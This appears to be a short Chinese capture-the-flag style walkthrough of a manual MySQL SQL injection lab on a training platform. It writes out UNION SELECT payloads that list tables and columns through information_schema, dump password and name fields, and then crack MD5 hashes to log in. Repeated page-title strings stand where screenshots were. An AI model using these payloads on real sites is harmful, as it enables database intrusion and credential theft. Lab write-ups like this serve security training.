墨者--SQL手工注入漏洞测试(MySQL数据库)

墨者–SQL手工注入漏洞测试(MySQL数据库)

靶机入口
解题思路:

  1. 判断注入
  2. 利用order by 判断字段数量
  3. 联合注入

1、判断注入
墨者--SQL手工注入漏洞测试(MySQL数据库)墨者--SQL手工注入漏洞测试(MySQL数据库)
2、order by判断
墨者--SQL手工注入漏洞测试(MySQL数据库)墨者--SQL手工注入漏洞测试(MySQL数据库)
3、联合注入
墨者--SQL手工注入漏洞测试(MySQL数据库)
查库名
墨者--SQL手工注入漏洞测试(MySQL数据库)
and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=”库名”
墨者--SQL手工注入漏洞测试(MySQL数据库)
and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=”表名”
墨者--SQL手工注入漏洞测试(MySQL数据库)
查出所有列名
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=”表名”
墨者--SQL手工注入漏洞测试(MySQL数据库)
and 1=2 union select 1,group_concat(password),group_concat(name),4 from 库名.表名墨者--SQL手工注入漏洞测试(MySQL数据库)
4、md5解密,登陆
墨者--SQL手工注入漏洞测试(MySQL数据库)
墨者--SQL手工注入漏洞测试(MySQL数据库)
恭喜发财拿到key!